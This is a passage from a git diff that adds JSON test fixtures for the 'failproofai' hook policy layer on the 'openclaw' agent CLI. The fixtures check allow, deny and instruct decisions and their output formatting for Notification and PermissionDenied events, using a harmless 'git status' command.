"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0abb4c61 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..24a5b9d7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7926a4b1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ce9143a3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e9f1634a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d65c12ab --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1972f085 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b46d0440 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..1970ba8f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0901d874 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..44665948 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..84d52564 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e648141d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..73890471 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..0077dbd5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cd9453f1 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3c56bd8d --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4f75e5fa --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fdb54c65 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": 